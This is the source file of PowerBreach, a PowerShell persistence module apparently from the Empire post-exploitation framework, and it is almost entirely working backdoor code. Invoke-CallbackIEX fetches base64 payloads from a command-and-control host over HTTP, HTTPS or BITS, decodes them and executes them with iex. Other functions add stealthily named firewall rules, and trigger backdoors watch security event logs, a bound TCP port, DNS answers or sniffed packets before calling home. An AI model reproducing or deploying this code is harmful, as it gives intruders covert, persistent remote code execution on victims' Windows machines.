Empire/data/module_source/persistence/PowerBreach.ps1

693 lines
20 KiB
PowerShell
Executable File

###################################################################################
# Name: PowerBreach
# Author: sixdub (sixdub.net)
# Tested on: Windows 7
#
#
###################################################################################
function Invoke-CallbackIEX
{
<#
.SYNOPSIS
Used to callback to C2 and execute script
.DESCRIPTION
Used to initiate a callback to a defined node and request a resource. The resource is then decoded and executed as a powershell script. There are many methods for callbacks.
Admin Reqd? No
Firewall Hole Reqd? No
.PARAMETER CallbackIP
The IP Address of the host to callback to
.PARAMETER Method
Defines which method to use to perform the callback.
0 - HTTP *Default
1 - HTTPS
2 - BITS
.PARAMETER BitsTempFile
The path to place a file on disk temporarily when BITS is the chosen method. Default is "%USERTEMP%\ps_conf.cfg".
.PARAMETER Resource
The page to request. Default is "/favicon.ico"
.PARAMETER Silent
Whether you want to produce output or not. Default is "FALSE"
#>
Param(
[Parameter(Mandatory=$True,Position=1)]
[string]$CallbackIP,
[Parameter(Mandatory=$False,Position=2)]
[int]$Method=0,
[Parameter(Mandatory=$False,Position=3)]
[string]$BitsTempFile="$env:temp\ps_conf.cfg",
[Parameter(Mandatory=$False,Position=4)]
[string]$resource="/favicon.ico",
[Parameter(Mandatory=$False,Position=5)]
[bool]$Silent=$false
)
#if you have a place to call home too...
if($CallbackIP)
{
try {
#HTTP Method
if ($Method -eq 0)
{
#Set the url
$url="http://$CallbackIP$resource"
if(-not $Silent) {write-host "Calling home with method $method to: $url"}
#download string from the URL
$enc = (new-object net.webclient).downloadstring($url)
}
#HTTPS Method
elseif ($Method -eq 1)
{
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$url="https://$CallbackIP$resource"
if(-not $Silent) {write-host "Calling home with method $method to: $url"}
#download string from the URL with HTTPS
$enc = (new-object net.webclient).downloadstring($url)
}
#Bits Method
elseif ($Method -eq 2)
{
$url="http://$CallbackIP$resource"
if(-not $Silent) { write-host "Calling home with method $method to: $url"
write-host "BITS Temp output to: $BitsTempFile"}
Import-Module *bits*
Start-BitsTransfer $url $BitsTempFile -ErrorAction Stop
$enc = Get-Content $BitsTempFile -ErrorAction Stop
#delete the temp file
Remove-Item $BitsTempFile -ErrorAction SilentlyContinue
}
else
{
if(-not $Silent) { write-host "Error: Improper callback method" -fore red}
return 0
}
#Check to make sure something got downloaded, if so, decode it and
if ($enc)
{
#decode the string
$b = [System.Convert]::FromBase64String($enc)
$dec = [System.Text.Encoding]::UTF8.GetString($b)
#execute script
iex $dec
}
else
{
if(-not $Silent) { write-host "Error: No Data Downloaded" -fore red}
return 0
}
}
catch [System.Net.WebException]{
if(-not $Silent) { write-host "Error: Network Callback failed" -fore red}
return 0
}
catch [System.FormatException]{
if(-not $Silent) { write-host "Error: Base64 Format Problem" -fore red}
return 0
}
catch [System.Exception]{
if(-not $Silent) { write-host "Error: Uknown problem during transfer" -fore red}
#$_.Exception | gm
return 0
}
}
else
{
if(-not $Silent) { write-host "No host specified for the phone home :(" -fore red}
return 0
}
return 1
}
function Add-PSFirewallRules
{
<#
.SYNOPSIS
Used to open a hole in the firewall to allow Powershell to communicate
.DESCRIPTION
Opens 4 rules in the firewall, 2 for each direction. Allows TCP and UDP communications on ports 1-65000. This will hopefully prevent popups from displaying to interactive user.
Admin Reqd? No
Firewall Hole Reqd? No
.PARAMETER RuleName
The name of the rule to be added to the firewall. This should be stealthy. Default="Windows Powershell"
.PARAMETER ExePath
The program to allow through the filewall. Default="C:\windows\system32\windowspowershell\v1.0\powershell.exe"
.PARAMETER Ports
The ports to allow communications on. Default="1-65000"
#>
Param(
[Parameter(Mandatory=$False,Position=1)]
[string]$RuleName="Windows Powershell",
[Parameter(Mandatory=$False,Position=2)]
[string]$ExePath="C:\windows\system32\windowspowershell\v1.0\powershell.exe",
[Parameter(Mandatory=$False,Position=3)]
[string]$Ports="1-65000"
)
If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
Write-Host "This command requires Admin :(... get to work! "
Return
}
#Rule 1, TCP, Outbound
$fw = New-Object -ComObject hnetcfg.fwpolicy2
$rule = New-Object -ComObject HNetCfg.FWRule
$rule.Name = $RuleName
$rule.ApplicationName=$ExePath
$rule.Protocol = 6
$rule.LocalPorts = $Ports
$rule.Direction = 2
$rule.Enabled=$true
$rule.Grouping="@firewallapi.dll,-23255"
$rule.Profiles = 7
$rule.Action=1
$rule.EdgeTraversal=$false
$fw.Rules.Add($rule)
#Rule 2, UDP Outbound
$rule = New-Object -ComObject HNetCfg.FWRule
$rule.Name = $RuleName
$rule.ApplicationName=$ExePath
$rule.Protocol = 17
$rule.LocalPorts = $Ports
$rule.Direction = 2
$rule.Enabled=$true
$rule.Grouping="@firewallapi.dll,-23255"
$rule.Profiles = 7
$rule.Action=1
$rule.EdgeTraversal=$false
$fw.Rules.Add($rule)
#Rule 3, TCP Inbound
$rule = New-Object -ComObject HNetCfg.FWRule
$rule.Name = $RuleName
$rule.ApplicationName=$ExePath
$rule.Protocol = 6
$rule.LocalPorts = $Ports
$rule.Direction = 1
$rule.Enabled=$true
$rule.Grouping="@firewallapi.dll,-23255"
$rule.Profiles = 7
$rule.Action=1
$rule.EdgeTraversal=$false
$fw.Rules.Add($rule)
#Rule 4, UDP Inbound
$rule = New-Object -ComObject HNetCfg.FWRule
$rule.Name = $RuleName
$rule.ApplicationName=$ExePath
$rule.Protocol = 17
$rule.LocalPorts = $Ports
$rule.Direction = 1
$rule.Enabled=$true
$rule.Grouping="@firewallapi.dll,-23255"
$rule.Profiles = 7
$rule.Action=1
$rule.EdgeTraversal=$false
$fw.Rules.Add($rule)
}
function Invoke-EventLoop
{
<#
.SYNOPSIS
Starts the event-loop backdoor
.DESCRIPTION
The backdoor continually parses the Security event logs. For every entry, it checks to see if the message contains a unique trigger value. If it finds the trigger, it calls back to a predefined IP Address. This backdoor is based on the Shmoocon presentation "Wipe the Drive". See here for more info: XXXXXXXXX
Admin Reqd? Yes
Firewall Hole Reqd? No
.PARAMETER CallbackIP
The IP Address of the host to callback to
.PARAMETER Trigger
The unique value to look for in every event packet. In the case of RDP, this will be the username you use to attempt a login. Default="SIXDUB"
.PARAMETER Timeout
A value in seconds to continue running the backdoor. Default=0 (run forever)
.PARAMETER Sleep
The time to sleep in between event log checks.
#>
Param(
[Parameter(Mandatory=$True,Position=1)]
[string]$CallbackIP,
[Parameter(Mandatory=$False,Position=2)]
[string]$Trigger="SIXDUB",
[Parameter(Mandatory=$False,Position=3)]
[int]$Timeout=0,
[Parameter(Mandatory=$False,Position=4)]
[int] $Sleep=1
)
If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
Write-Host "This backdoor requires Admin :(... get to work! "
Return
}
#Output info
write-host "Timeout: $Timeout"
write-host "Trigger: $Trigger"
write-host "CallbackIP: $CallbackIP"
write-host
write-host "Starting backdoor..."
#initiate loop variables
$running=$true
$match =""
$starttime = get-date
while($running)
{
#check timeout value
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
{
$running=$false
}
#grab all events since the last cycle and store their "message" into a variable
$d = Get-Date
$NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String
#check if the events contain our trigger value
if ($NewEvents -match $Trigger)
{
$running=$false
$match = $CallbackIP
write-host "Match: $match"
}
sleep -s $Sleep
}
if($match)
{
$success = Invoke-CallbackIEX $match
}
}
function Invoke-PortBind
{
<#
.SYNOPSIS
Starts the TCP Port Bind backdoor
.DESCRIPTION
The backdoor opens a TCP port on a specified port. For every connection to the port, it looks for a specified trigger value. When found, it initiates a callback and closes the TCP Port.
Admin Reqd? No
Firewall Hole Reqd? Yes
.PARAMETER CallbackIP
The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it.
.PARAMETER LocalIP
The interface to bind the TCP port to. By default, the script will use the default GW to determine this value.
.PARAMETER Port
The port to bind. Default=4444
.PARAMETER Trigger
The unique value the backdoor is waiting for. Default="QAZWSX123"
.PARAMETER Timeout
The time to run the backdoor. Default=0 (run forever)
#>
Param(
[Parameter(Mandatory=$False,Position=1)]
[string]$CallbackIP,
[Parameter(Mandatory=$False,Position=2)]
[string]$LocalIP,
[Parameter(Mandatory=$False,Position=3)]
[int]$Port=4444,
[Parameter(Mandatory=$False,Position=4)]
[string]$Trigger="QAZWSX123",
[Parameter(Mandatory=$False,Position=5)]
[int]$Timeout=0
)
# try to figure out which IP address to bind to by looking at the default route
if (-not $LocalIP)
{
route print 0* | % {
if ($_ -match "\s{2,}0\.0\.0\.0") {
$null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",")
}
}
}
#output info
write-host "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!"
write-host "Timeout: $Timeout"
write-host "Port: $Port"
write-host "Trigger: $Trigger"
write-host "Using IPv4 Address: $LocalIP"
write-host "CallbackIP: $CallbackIP"
write-host
write-host "Starting backdoor..."
try{
#Define and initialize all the networing stuff
$ipendpoint = new-object system.net.ipendpoint([net.ipaddress]"$localIP",$Port)
$Listener = new-object System.Net.Sockets.TcpListener $ipendpoint
$Listener.Start()
#set variables for the loop
$running=$true
$match =""
$starttime = get-date
while($running)
{
#Check for timeout
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
{
$running=$false
}
#If there is a connection pending on the socket
if($Listener.Pending())
{
#accept the client and define the input stream
$Client = $Listener.AcceptTcpClient()
write-host "Client Connected!"
$Stream = $Client.GetStream()
$Reader = new-object System.IO.StreamReader $Stream
#read one line off the socket
$line = $Reader.ReadLine()
#check to see if proper trigger value
if ($line -eq $Trigger)
{
$running=$false
$match = ([system.net.ipendpoint] $Client.Client.RemoteEndPoint).Address.ToString()
write-host "MATCH: $match"
}
#clean up
$reader.Dispose()
$stream.Dispose()
$Client.Close()
write-host "Client Disconnected"
}
}
#Stop the socket and check for match
write-host "Stopping Socket"
$Listener.Stop()
if($match)
{
if($CallbackIP)
{
$success = Invoke-CallbackIEX $CallbackIP
}
else
{
$success = Invoke-CallbackIEX $Match
}
}
}
catch [System.Net.Sockets.SocketException] {
write-host "Error: Socket Error" -fore red
}
}
function Invoke-DNSLoop
{
<#
.SYNOPSIS
Starts the DNS Loop Backdoor
.DESCRIPTION
This backdoor resolves a predefined hostname at a preset interval. If the resolved address is different than the specified trigger, than it initiates a callback
Admin Reqd? No
Firewall Hole Reqd? No
.PARAMETER CallbackIP
The IP Address of the host to callback to. By default, this backdoor calls back to the newly resolved IP Address.
.PARAMETER Hostname
The hostname to routinely check for a trigger. Default="yay.sixdub.net"
.PARAMETER Trigger
The IP Address that the backdoor is looking for. Default="127.0.0.1"
.PARAMETER Timeout
The time to run the backdoor. Default=0 (run forever)
.PARAMETER Sleep
The seconds to sleep between DNS resolution. Default="1s"
#>
param(
[Parameter(Mandatory=$False,Position=1)]
[string]$CallbackIP,
[Parameter(Mandatory=$False,Position=2)]
[string]$Hostname="yay.sixdub.net",
[Parameter(Mandatory=$False,Position=3)]
[string]$Trigger="127.0.0.1",
[Parameter(Mandatory=$False,Position=4)]
[int] $Timeout=0,
[Parameter(Mandatory=$False,Position=5)]
[int] $Sleep=1
)
#output info
write-host "Timeout: $Timeout"
write-host "Sleep Time: $Sleep"
write-host "Trigger: $Trigger"
write-host "Using Hostname: $Hostname"
write-host "CallbackIP: $CallbackIP"
write-host
write-host "Starting backdoor..."
#set loop variables
$running=$true
$match =""
$starttime = get-date
while($running)
{
#check timeout
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
{
$running=$false
}
try {
#try to resolve hostname
$ips = [System.Net.Dns]::GetHostAddresses($Hostname)
foreach ($addr in $ips)
{
#take all of the IPs returned and check to see if they have changed from our "trigger
#If they do not match the trigger, use it for C2 address
$resolved=$addr.IPAddressToString
if($resolved -ne $Trigger)
{
$running=$false
$match=$resolved
write-host "Match: $match"
}
}
}
catch [System.Net.Sockets.SocketException]{
}
sleep -s $Sleep
}
write-host "Shutting down DNS Check..."
if($match)
{
if($CallbackIP)
{
$success = Invoke-CallbackIEX $CallbackIP
}
else
{
$success = Invoke-CallbackIEX $Match
}
}
}
function Invoke-PacketKnock
{
<#
.SYNOPSIS
Starts the Packet Knock backdoor
.DESCRIPTION
The backdoor sniffs packets destined for a certain interface. In each packet, a trigger value is looked for. The the trigger value is found, the backdoor initiates a callback. This backdoor utilizes a promiscuous socket and should not open up a port on the system.
Admin Reqd? Yes
Firewall Hole Reqd? Yes
.PARAMETER CallbackIP
The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it.
.PARAMETER LocalIP
The interface to bind the TCP port to. By default, the script will use the default GW to determine this value.
.PARAMETER Trigger
The unique value the backdoor is waiting for. Default="QAZWSX123"
.PARAMETER Timeout
The time to run the backdoor. Default=0 (run forever)
#>
param(
[Parameter(Mandatory=$False,Position=1)]
[string]$CallbackIP,
[Parameter(Mandatory=$False,Position=2)]
[string]$LocalIP,
[Parameter(Mandatory=$False,Position=3)]
[string]$Trigger="QAZWSX123",
[Parameter(Mandatory=$False,Position=4)]
[int]$Timeout=0
)
If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
Write-Host "This backdoor requires Admin :(... get to work! "
Return
}
# try to figure out which IP address to bind to by looking at the default route
if (-not $LocalIP)
{
route print 0* | % {
if ($_ -match "\s{2,}0\.0\.0\.0") {
$null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",")
}
}
}
#output info
write-host "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!"
write-host "Timeout: $Timeout"
write-host "Trigger: $Trigger"
write-host "Using IPv4 Address: $LocalIP"
write-host "CallbackIP: $CallbackIP"
write-host
write-host "Starting backdoor..."
#define bytes for socket setup
$byteIn = new-object byte[] 4
$byteOut = new-object byte[] 4
$byteData = new-object byte[] 4096 # size of data
$byteIn[0] = 1 # this enables promiscuous mode (ReceiveAll)
$byteIn[1-3] = 0
$byteOut[0-3] = 0
#Open a raw socket and set to promiscuous mode. Include the IP Header
$socket = new-object system.net.sockets.socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP)
$socket.setsocketoption("IP","HeaderIncluded",$true)
$socket.ReceiveBufferSize = 819200
#set the local socket info and bind it
$ipendpoint = new-object system.net.ipendpoint([net.ipaddress]"$localIP",0)
$socket.bind($ipendpoint)
#turn on promiscuous
[void]$socket.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$byteIn,$byteOut)
#set loop data
$starttime = get-date
$running = $true
$match = ""
$packets = @()
while ($running)
{
#check timeout
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
{
$running=$false
}
#check for queued up packets
if (-not $socket.Available)
{
start-sleep -milliseconds 500
continue
}
#Take any date off the socket
$rcv = $socket.receive($byteData,0,$byteData.length,[net.sockets.socketflags]::None)
# Created streams and readers
$MemoryStream = new-object System.IO.MemoryStream($byteData,0,$rcv)
$BinaryReader = new-object System.IO.BinaryReader($MemoryStream)
# Trash all the header bytes we dont care about. RFC 791
$trash = $BinaryReader.ReadBytes(12)
#Read the SRC and DST IP
$SourceIPAddress = $BinaryReader.ReadUInt32()
$SourceIPAddress = [System.Net.IPAddress]$SourceIPAddress
$DestinationIPAddress = $BinaryReader.ReadUInt32()
$DestinationIPAddress = [System.Net.IPAddress]$DestinationIPAddress
$RemainderBytes = $BinaryReader.ReadBytes($MemoryStream.Length)
#Convert the remainder of the packet into ASCII
$AsciiEncoding = new-object system.text.asciiencoding
$RemainderOfPacket = $AsciiEncoding.GetString($RemainderBytes)
#clean up clean up
$BinaryReader.Close()
$memorystream.Close()
#check rest of packet for trigger value
if ($RemainderOfPacket -match $Trigger)
{
write-host "Match: " $SourceIPAddress
$running=$false
$match = $SourceIPAddress
}
}
if($match)
{
if($CallbackIP)
{
$success = Invoke-CallbackIEX $CallbackIP
}
else
{
$success = Invoke-CallbackIEX $Match
}
}
}
function Invoke-CallbackLoop
{
<#
.SYNOPSIS
Starts the Callback loop backdoor
.DESCRIPTION
The backdoor initiates a callback on a routine interval. If successful in executing a script, the backdoor will exit.
Admin Reqd? No
Firewall Hole Reqd? No
.PARAMETER CallbackIP
The IP Address of the host to callback to.
.PARAMETER Timeout
The time to run the backdoor. Default=0 (run forever)
.PARAMETER Sleep
The seconds to sleep between callback. Default=1.
#>
Param(
[Parameter(Mandatory=$True,Position=1)]
[string]$CallbackIP,
[Parameter(Mandatory=$False,Position=2)]
[int]$Timeout=0,
[Parameter(Mandatory=$False,Position=3)]
[int] $Sleep=1
)
#Output info
write-host "Timeout: $Timeout"
write-host "Sleep: $Sleep"
write-host "CallbackIP: $CallbackIP"
write-host
write-host "Starting backdoor..."
#initiate loop variables
$running=$true
$match =""
$starttime = get-date
while($running)
{
#check timeout value
if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired
{
$running=$false
}
$CheckSuccess = Invoke-CallbackIEX $CallbackIP -Silent $true
if($CheckSuccess -eq 1)
{
$running=$false
}
sleep -s $Sleep
}
write-host "Shutting down backdoor..."
}